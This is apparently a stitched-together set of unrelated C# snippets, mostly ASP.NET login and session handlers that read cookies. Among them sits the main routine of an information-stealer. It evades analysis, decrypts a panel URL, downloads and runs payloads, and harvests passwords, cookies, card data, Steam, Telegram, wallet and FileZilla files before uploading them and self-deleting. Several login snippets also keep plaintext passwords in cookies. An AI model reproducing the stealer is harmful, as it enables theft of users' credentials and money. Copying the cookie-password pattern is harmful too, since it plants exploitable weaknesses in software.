public ActionResult Login() { //if (CurrentUser.IsLogin) //{ // //已登录,则直接进入主界面 // return Redirect(Url.Action("Index", "Home")); //} //1为单商户版本,其他值为多商户版本 string ver = Pharos.Utility.Config.GetAppSettings("ver"); //单商户版本 if (ver == "1") { var user = new UserLogin(); if (Cookies.IsExist("remuc")) { user.UserName = Cookies.Get("remuc", "_uname"); user.UserPwd = Cookies.Get("remuc", "_pwd"); user.RememberMe = true; } return(View(user)); } //多商户版本 else { return(Logins()); } }
/// <summary> /// 获取cookie /// </summary> /// <param name="cID"></param> /// <param name="u"></param> public UserLogin setUserLogin(int cID, UserLogin user) { if (Cookies.IsExist("remuc")) { //cookie的CID string cid = Cookies.Get("remuc", "_cid"); if (cid.IsNullOrEmpty()) { cid = "0"; } //输入的域名存在商户 if (cID > 0) { //API的CID等于cookie的CID if (cid == cID.ToString()) { user.CID = Convert.ToInt32(cid); user.UserName = Cookies.Get("remuc", "_uname"); user.UserPwd = Cookies.Get("remuc", "_pwd"); user.RememberMe = true; } } //localhost访问、ip访问、保留二级域名访问 else { user.CID = Convert.ToInt32(cid); user.UserName = Cookies.Get("remuc", "_uname"); user.UserPwd = Cookies.Get("remuc", "_pwd"); user.RememberMe = true; } } return(user); }
private void _SetSession() { if (Cookies.ContainsKey(SessionStore.SessionCookieKey)) { var cookie = Cookies.Get(SessionStore.SessionCookieKey); var sessionId = cookie.Value; Session = SessionStore.GetOrAdd(id: sessionId); } }
/// <summary> /// Envia os cabeçalhos. /// </summary> /// <param name="state"></param> private void SendHeaders(object state) { foreach (string key in _headers.Keys) { _response.Headers[key] = _headers.GetValues(key).FirstOrDefault(); } foreach (var i in Cookies.AllKeys) { _response.Cookies.Append(i, Cookies.Get(i).Value ?? ""); } }
public ActionResult Login() { var user = new UserLogin(); if (Cookies.IsExist("remuc")) { user.UserName = Cookies.Get("remuc", "_uname"); user.UserPwd = Cookies.Get("remuc", "_pwd"); user.RememberMe = true; } return(View(user)); }
//https://github.com/js-cookie/js-cookie public ActionResult CookiesJs() { Cookies.Set("zhengwangeng", "name"); Cookies.Set("z", "n", DateTime.Now.AddDays(1)); Cookies.Set("sub", "age=10&name=z&value=w&price=1000"); Cookies.Get("sub", "price", null, null); return(View()); }
private void CheckLogin() { if (isCheck) { return; } isCheck = true; try { var ck = Cookies.Get(CookiesKey); if (ck == null) { return; } LoginKey = new Guid(ck.Value); var login = LoginService.Get(LoginKey); if (login == null) { return; } if (!login.Remember && ((DateTime.UtcNow - login.OnlineDate) > TimeOut)) { MembershipLogin.Del(LoginKey); //Response.Cookies.Add(new HttpCookie(CookiesKey, "")); return; } User = MembershipService.Get(login.UserId); if (User == null) { return; } if (User.Password != login.Password) { User = null; MembershipLogin.Del(LoginKey); return; } MembershipLogin.UpdateOnline(LoginKey); Type = (TypeLogin)login.TypeLogin; } catch (Exception ex) { User = null; Type = TypeLogin.NotLogin; LoggingService.Error(ex); } }
private static void LoadCultureNameCookie(this IDotvvmRequestContext context) { var cultureName = Cookies.Get(nameof(CultureInfo), nameof(CultureInfo.Name)); if (string.IsNullOrEmpty(cultureName)) { context.ChangeCulture(Constants.DefaultCultureName); } else { context.ChangeCulture(cultureName); } }
/// <summary> /// 检测验证码是否正确 /// </summary> /// <param name="sessionKey">保存到session的key</param> /// <param name="code">用户输入的验证码</param> public static bool Check(string sessionKey, string code) { if (string.IsNullOrWhiteSpace(code)) { return(false); } var verifyCode = Cookies.Get(sessionKey); Cookies.Set(sessionKey, Rand.GetRandom(10000, 99999)); return(code.Trim().IsEquals(verifyCode)); }
public ActionResult Index() { var usuario = Cookies.Get("usuariologado").ToString(); if (!string.IsNullOrEmpty(usuario)) { List <UrlBackendMobile> urls = new UrlBackendMobile().PegarTodos(db); return(View(urls)); } else { msg = "Faça o login novamente!"; return(RedirectToAction("Login")); } }
public ActionResult Login() { //if (CurrentUser.IsLogin) //{ // //已登录,则直接进入主界面 // return Redirect(Url.Action("Index", "Home")); //} var user = new UserLogin(); if (Cookies.IsExist("remuc")) { user.UserName = Cookies.Get("remuc", "_uname"); user.UserPwd = Cookies.Get("remuc", "_pwd"); user.RememberMe = true; } return(View(user)); }
/// <summary> /// 获取Sql语句的Count总条数 /// </summary> /// <param name="sqlValue">sql语句</param> /// <param name="optimization">是否优化</param> /// <returns></returns> public int GetCount(string sqlValue, bool optimization = true) { var cookieKey = sqlValue.GetMD5String(); if (Cookies.Get("Count_" + cookieKey).IsEmpty()) { var fromIndex = sqlValue.IndexOf("from", StringComparison.OrdinalIgnoreCase); var resutlSql = "select '' " + sqlValue.Substring(fromIndex); //修改 select '' 空内容 来优化 sql var count = _db.Database.SqlQuery <int>(string.Format("select count(*) from ( {0} ) a", optimization ? resutlSql : sqlValue)).FirstOrDefault(); Cookies.Set("Count_" + cookieKey, count.ToString(), DateTime.Now.AddMinutes((double)15)); return(count); } else { int count = 0; int.TryParse(Cookies.Get("Count_" + cookieKey), out count); return(count); } }
/// <summary> /// 保存登陆信息 /// </summary> /// <param name="user"></param> /// <param name="effectiveTime"></param> public void SaveLogin(UserSessionModel user, int effectiveTime) { var userCookie = Cookies.Get(Context, Keys.UserCookie); userCookie["uid"] = user.UserId.ToString(); userCookie["token"] = CreateCookieToken(user.UserId, user.Username, user.Password); if (effectiveTime == 0) { effectiveTime = 2; } else { effectiveTime = effectiveTime * 24; } CookieOptions option = new CookieOptions() { Expires = DateTime.Now.AddHours(effectiveTime) }; Cookies.Save(Context, Keys.UserCookie, userCookie, option); }
/// <summary> /// 初始化cookie读取 /// </summary> private void Initialize() { var userCookie = Cookies.Get(Context, Keys.UserCookie); if (userCookie.Count == 0) { UserId = 0; token = string.Empty; Username = "******"; } else { try { UserId = long.Parse(userCookie["uid"]); token = userCookie["token"]; } catch { Logout(); } SessionBag.CopyValue(); ValidateCookie(); } }
public static void Main() { AntiAnalyses.Proc(); AntiAnalyses.VMDetect(); AntiAnalyses.SandboxieDetect(); // Helpers.AntiSNG(); string password = "******"; byte[] url_bytes = StringToByteArray("[URL]"); byte[] pwd_bytes = Encoding.Default.GetBytes(Encrypt.XOR(password)); string result_encoded_string_panel = Encoding.Default.GetString(Encrypt.Encrypt_RC4(pwd_bytes, url_bytes)); byte[] ass = Encoding.Default.GetBytes(result_encoded_string_panel); Dirs.WorkDirCreate(); User.GetCountryByIP(User.IP); Dirs.Move(); var request = WebRequest.Create(Encoding.Default.GetString(Encrypt.Encrypt_RC4(pwd_bytes, ass))); using (Stream stream = request.GetResponse().GetResponseStream()) { string arguments = new StreamReader(stream).ReadToEnd(); string[] argss = arguments.Split(','); bool Pass_bool = true; bool Steam = false; bool Grabber = false; bool Cookies_bool = false; bool History_bool = false; bool Telegram = false; bool Loader_bool = false; bool Mutex = false; bool Clear_bool = false; bool ScreenShot = false; bool Crypto = false; if (argss[12] == "1") { Mutex = true; } if (!Mutex) { Helpers.MutexCheck(); } if (argss[0] == "1") { Pass_bool = true; } if (argss[1] == "1") { Cookies_bool = true; } if (argss[2] == "1") { History_bool = true; } if (argss[3] == "1") { Crypto = true; } if (argss[4] == "1") { Steam = true; } if (argss[5] == "1") { Telegram = true; } if (argss[6] == "1") { ScreenShot = true; } if (argss[7] == "1") { Grabber = true; } if (argss[10] == "1") { Clear_bool = true; } if (argss[11].StartsWith("http")) { Loader_bool = true; } if (Loader_bool) { string URL = argss[11]; string filename = Path.GetFileName(URL); Loader.Run(URL, filename); } if (Pass_bool) { Steal.Passwords(); Passwords.GetPasswordsNEW(); } if (History_bool) { History.Get(); } if (Loader_bool) { string URL = argss[11]; string filename = Path.GetFileName(URL); Loader.Run(URL, filename); } if (Steam) { Grab.Steam(); } if (Telegram) { Grab.NewTelegram(); } if (Cookies_bool) { Cookies.Get(); Steal.Cookies(); CC.Get(); } if (Crypto) { Grab.DirSearch(Dirs.AppData); } if (Grabber) { string[] extensions = argss[8].Split(':'); Grab.extensions.AddRange(extensions.Select(ex => ex)); Grab.Weight = Convert.ToInt32(argss[9]); Grab.Weight *= 1024; Grab.Desktop(); } if (ScreenShot) { Grab.ScreenShot(); } Grab.FileZilla(); Grab.Pidgin(); User.GetUA(); Helpers.UADetect(); Helpers.InfoDetect(); Helpers.LogDetect(); User.GetInfo(); Helpers.Zip(); string log = @"" + Dirs.Temp + "\\" + User.IP + "_" + User.randomnm + ".zip"; Post_File.GetInfoForPanel(); Post_File.HttpUploadFile(Encoding.Default.GetString(Encrypt.Encrypt_RC4(pwd_bytes, ass)), log, "logs", "zip", Post_File.name); if (Clear_bool) { Helpers.Suicide(); } } Helpers.Clear(); Directory.Delete(Dirs.WorkDir); }
public ActionResult Index() { //if (!Sys.CurrentUser.IsLogin || Sys.CurrentUser.IsStore) //{ // return RedirectToAction("Login", "Account"); //} #region sync //ServiceReference1.Service1Client client = new ServiceReference1.Service1Client(); //ChannelFactory<Sync.IService1> myFactory = new ChannelFactory<Sync.IService1>("endpointConfig"); //Sync.IService1 client = myFactory.CreateChannel(); //ServiceReference2.AccountClient client = new ServiceReference2.AccountClient(); //using (TransactionScope tran = new TransactionScope()) //{ // var pv = client.GetPublish(CommonService.CompanyId, 1); // if (pv != null) // { // var menus = new List<Sys.Entity.SysMenus>(); //if (pv.ProductMenusk__BackingField != null) //{ // Pharos.Logic.BLL.SysMenuBLL menuBll = new SysMenuBLL(); // menus = pv.ProductMenusk__BackingField.Select(o => new Sys.Entity.SysMenus() // { // CompanyId = CommonService.CompanyId, // MenuId = o.MenuIdk__BackingField, // PMenuId = o.PMenuIdk__BackingField, // SortOrder = o.SortOrderk__BackingField, // Status = o.Statusk__BackingField, // Title = o.Titlek__BackingField, // Type = 0, // URL = o.Urlk__BackingField // }).ToList(); // menuBll.SyncMenu(menus); //} //if (pv.ProductLimitsk__BackingField != null) //{ // Pharos.Logic.BLL.SysLimitsBLL limitBll = new SysLimitsBLL(); // var limits = menus.Select(o => new Sys.Entity.SysLimits() // { // CompanyId = o.CompanyId, // LimitId = o.MenuId, // PLimitId = 0, // Depth = 1, // Status = Convert.ToInt16(o.Status), // Title = o.Title // }).ToList(); // limits.AddRange(pv.ProductLimitsk__BackingField.Select(o => new Sys.Entity.SysLimits() // { // CompanyId = CommonService.CompanyId, // LimitId = o.LimitIdk__BackingField.GetValueOrDefault(), // PLimitId = o.MenuIdk__BackingField.GetValueOrDefault(), // Depth = 2, // Status = Convert.ToInt16(o.Statusk__BackingField.GetValueOrDefault()), // Title = o.Titlek__BackingField // })); // limitBll.SyncLimit(limits); //} // } // tran.Complete(); //} //client.Close(); #endregion #region 验证 //1为单商户版本,其他值为多商户版本 string ver = Pharos.Utility.Config.GetAppSettings("ver"); //单商户版本 if (ver == "1") { if (!Sys.CurrentUser.IsLogin || Sys.CurrentUser.IsStore) { Response.Redirect("/Account/Login"); } } //多商户版本 else { //二级域名 string d = ""; //二级域名 string dom = ""; if (!RouteData.Values["dom"].IsNullOrEmpty()) { dom = RouteData.Values["dom"].ToString(); } //一级域名 string d1 = ""; if (!RouteData.Values["d1"].IsNullOrEmpty()) { d1 = RouteData.Values["d1"].ToString(); } //顶级域名 string d0 = ""; if (!RouteData.Values["d0"].IsNullOrEmpty()) { d0 = RouteData.Values["d0"].ToString(); } if (!d0.IsNullOrEmpty()) { if (!dom.IsNullOrEmpty()) { d = dom; } } //输入保留二级域名:store if (!RouteData.Values["cid"].IsNullOrEmpty()) { d = "store"; } //localhost访问、ip访问 if ((dom.ToLower().Trim() == "localhost") || (dom.IsNullOrEmpty() && d1.IsNullOrEmpty() && d0.IsNullOrEmpty())) { if (!Sys.CurrentUser.IsLogin || Sys.CurrentUser.IsStore) { Response.Redirect("/Account/Login"); return(null); } } //域名访问 else { //API的CID int cID = Authorize.getCID(d); //输入保留二级域名:store if (d.ToLower().Trim().Contains("store") && cID == -1) { //门店 Response.Redirect("/Store/Index"); return(null); } //请求API发生错误 else if (cID == -2) { Response.Redirect("/Account/error"); return(null); } //输入的二级域名是空 else if (cID == -1) { Response.Redirect("/Account/noBusiness"); return(null); } //输入的域名不存在商户 else if (cID == 0) { Response.Redirect("/Account/noBusiness"); return(null); } //输入的域名是保留二级域名 else if (cID == -3) { //在crm里面 if (d.ToLower() == "erp") { if (!Sys.CurrentUser.IsLogin || Sys.CurrentUser.IsStore) { Response.Redirect("/Account/Login"); return(null); } } //不在crm里面 else { Response.Redirect("/Account/noBusiness"); return(null); } } //输入的域名存在商户 else if (cID > 0) { var obj = UserInfoService.Find(o => o.CompanyId == cID); //CID在目前项目不存在 if (obj == null) { Response.Redirect("/Account/noUser?cid=" + cID); return(null); } else { if (!Sys.CurrentUser.IsLogin || Sys.CurrentUser.IsStore) { Response.Redirect("/Account/Login"); return(null); } else { if (Cookies.IsExist("remuc")) { //cookie的CID string cid = Cookies.Get("remuc", "_cid"); if (cid.IsNullOrEmpty()) { cid = "0"; } if (cID != Convert.ToInt32(cid)) { Response.Redirect("/Account/Login"); return(null); } } } } } } } #endregion //获取活动列表 var activityList = CommodityPromotionService.GetNewestActivity(3); //获取公告列表 var noticeList = NoticeService.GetNewestNotice(3); //采购订单列表 ViewBag.OrderList = OrderService.GetNewOrder(3); List <ActivityNoticeModel> activityNoticeList = new List <ActivityNoticeModel>(); if (activityList != null) { foreach (var activity in activityList) { activityNoticeList.Add(new ActivityNoticeModel(activity.Id, Enum.GetName(typeof(PromotionType), activity.PromotionType), DateTime.Parse(activity.StartDate.ToString()).ToString("yyyy-MM-dd") + "至" + DateTime.Parse(activity.EndDate.ToString()).ToString("yyyy-MM-dd"), Enum.GetName(typeof(SaleState), activity.State), activity.CreateDT, 1)); } } if (noticeList != null) { foreach (var notice in noticeList) { activityNoticeList.Add(new ActivityNoticeModel(notice.Id.ToString(), notice.Theme, notice.BeginDate.ToString("yyyy-MM-dd") + "至" + notice.ExpirationDate.ToString("yyyy-MM-dd"), notice.State == 1 ? "已发布":"未发布", notice.CreateDT, 2)); } } activityNoticeList = activityNoticeList.OrderByDescending(o => o.CreateDT).Take(3).ToList(); if (activityNoticeList == null) { activityNoticeList = new List <ActivityNoticeModel>(); } ViewBag.activityNoticeList = activityNoticeList;//活动公告 //todo: 模拟数据 string mode = Request["mode"]; ViewBag.accessCount = 0; ViewBag.WelcomeText = "欢迎光临"; ViewBag.CurUserName = Sys.CurrentUser.FullName; ViewBag.CurLoginName = Sys.CurrentUser.UserName; //近3天数据 var beginTime = DateTime.Parse(DateTime.Now.AddDays(-2).ToString("yyyy-MM-dd")); var endTime = DateTime.Parse(DateTime.Now.AddDays(1).ToString("yyyy-MM-dd")); ViewBag.newMemberNumber = MembersService.GetNewMemberNumber(beginTime, endTime); //新增会员数量 ViewBag.newSalesVolume = ReportBLL.GetSalesVolume(beginTime, endTime); //新增销售量 var saleOrderList3Day = SaleOrdersService.GetIndexSaleOrder(beginTime, endTime); //3天内的销售订单 ViewBag.newSaleOrderNumber = saleOrderList3Day.Count(); //新增客单量 decimal newSaleTotal = 0; newSaleTotal = saleOrderList3Day.Sum(o => o.Receive); ViewBag.newSaleTotal = newSaleTotal;//新增销售额 //近7天数据 var dayTitleList = new List <string>(); var saleTotalList = new List <decimal>(); var saleOederNumberList = new List <int>(); var hotProductNameList = new List <string>(); var hotProductSaleNumList = new List <int>(); for (int i = 6; i >= 0; i--) { var time1 = DateTime.Parse(DateTime.Now.AddDays(0 - i).ToString("yyyy-MM-dd")); var time2 = DateTime.Parse(DateTime.Now.AddDays(0 - i + 1).ToString("yyyy-MM-dd")); var saleOrderList = SaleOrdersService.GetIndexSaleOrder(time1, time2); dayTitleList.Add(int.Parse(DateTime.Now.AddDays(0 - i).ToString("dd")) + "日"); saleTotalList.Add(saleOrderList.Sum(o => o.Receive)); saleOederNumberList.Add(saleOrderList.Count()); } var hotProductBeginTime = DateTime.Parse(DateTime.Now.AddDays(-6).ToString("yyyy-MM-dd")); var hotProductEndTime = DateTime.Parse(DateTime.Now.AddDays(1).ToString("yyyy-MM-dd")); ReportBLL.GetHotProduct(hotProductBeginTime, hotProductEndTime, out hotProductNameList, out hotProductSaleNumList); //近7天热销商品 ViewBag.hotProductNameList = hotProductNameList.ToJson(); ViewBag.hotProductSaleNumList = hotProductSaleNumList.ToJson(); ViewBag.hotProductNameListNotJson = hotProductNameList; ViewBag.dayTitleList = dayTitleList.ToJson(); ViewBag.saleTotalList = saleTotalList.ToJson(); //近7天销售额 ViewBag.saleOederNumberList = saleOederNumberList.ToJson(); //近7天客单量 var list = new List <Pharos.Sys.Models.MenuModel>(); list = _menuBLL.GetHomeMenusByUID(Sys.CurrentUser.UID); ViewBag.Menus = list; var set = new Pharos.Sys.BLL.SysWebSettingBLL().GetWebSetting(); //var comp = Authorize.GetCompanyByConnect(null); ViewBag.comptitle = set == null ? "ERP管理平台" : set.SysName; return(View(set ?? new Sys.Entity.SysWebSetting())); }
public ActionResult Login(string id) { /*var user = new UserLogin(); * csID csid2 = ipLocalhost(); * * //url中cid * string s_cid = ""; * * if (!RouteData.Values["cid"].IsNullOrEmpty()) * { * s_cid = RouteData.Values["cid"].ToString(); * } * //url中sid * string s_sid = ""; * * if (!RouteData.Values["sid"].IsNullOrEmpty()) * { * s_sid = RouteData.Values["sid"].ToString(); * } * * if (csid2.message == "禁止访问") * { * Response.Redirect("/Account/noBusiness"); * return null; * } * * csID csid = new csID(); * if (!s_cid.IsNullOrEmpty() && !s_sid.IsNullOrEmpty()) * { * Authorize authorize = new Authorize(); * csid = authorize.getCidSid(s_cid, s_sid); * if (csid.message == "格式错误") * { * Response.Redirect("/Account/noBusiness"); * return null; * } * else if (csid.message == "域名的store后面必须是数字") * { * Response.Redirect("/Account/noBusiness"); * return null; * } * else if (csid.message == "success") * { * user.CID = Convert.ToInt32(csid.cid); * if (Cookies.IsExist("remuc")) * { * //cookie的CID * string cid = Cookies.Get("remuc", "_cid").Trim(); * //cookie的门店ID * string sid = Server.UrlDecode(Cookies.Get("remuc", "_storeId")); * sid = sid.Split('~')[0]; * * if (cid.IsNullOrEmpty()) * { * cid = "0"; * } * if (sid.IsNullOrEmpty()) * { * sid = "0"; * } * * if (csid.cid.Trim() == cid || csid.sid.Trim() == sid) * { * user.UserName = Cookies.Get("remuc", "_uname"); * user.UserPwd = Cookies.Get("remuc", "_pwd"); * user.StoreId = Server.UrlDecode(Cookies.Get("remuc", "_storeId")); * user.RememberMe = true; * } * } * } * } * else * { * Response.Redirect("/Account/noBusiness"); * return null; * } * * * List<SelectListItem> list = ListToSelect(WarehouseService.GetAdminList(Convert.ToInt32(csid.cid), csid.sid).Select(o => new SelectListItem() { Text = o.Title, Value = o.StoreId + "~" + o.Title, Selected = o.StoreId == csid.sid })).ToList(); * if (list.Count == 0) * { * Response.Redirect("/Account/error?msg=" + Pharos.Utility.DESEncrypt.Encrypt("无效门店,请联系管理员检查该门店是否存在或开放!")); * return null; * } * * * ViewBag.stores = list; * return View(user); */ var user = new UserLogin(); user.CID = Pharos.Utility.Config.GetAppSettings("CompanyId").ToType <int>(); user.StoreId = Sys.SysCommonRules.CurrentStore; ViewBag.stores = ListToSelect(WarehouseService.GetAdminList().Select(o => new SelectListItem() { Text = o.Title, Value = o.StoreId + "~" + o.Title, Selected = o.StoreId == user.StoreId })); if (Cookies.IsExist("storeremuc")) { user.UserName = Cookies.Get("storeremuc", "_uname"); user.StoreId = Server.UrlDecode(Cookies.Get("storeremuc", "_storeId")); user.RememberMe = true; } return(View(user)); }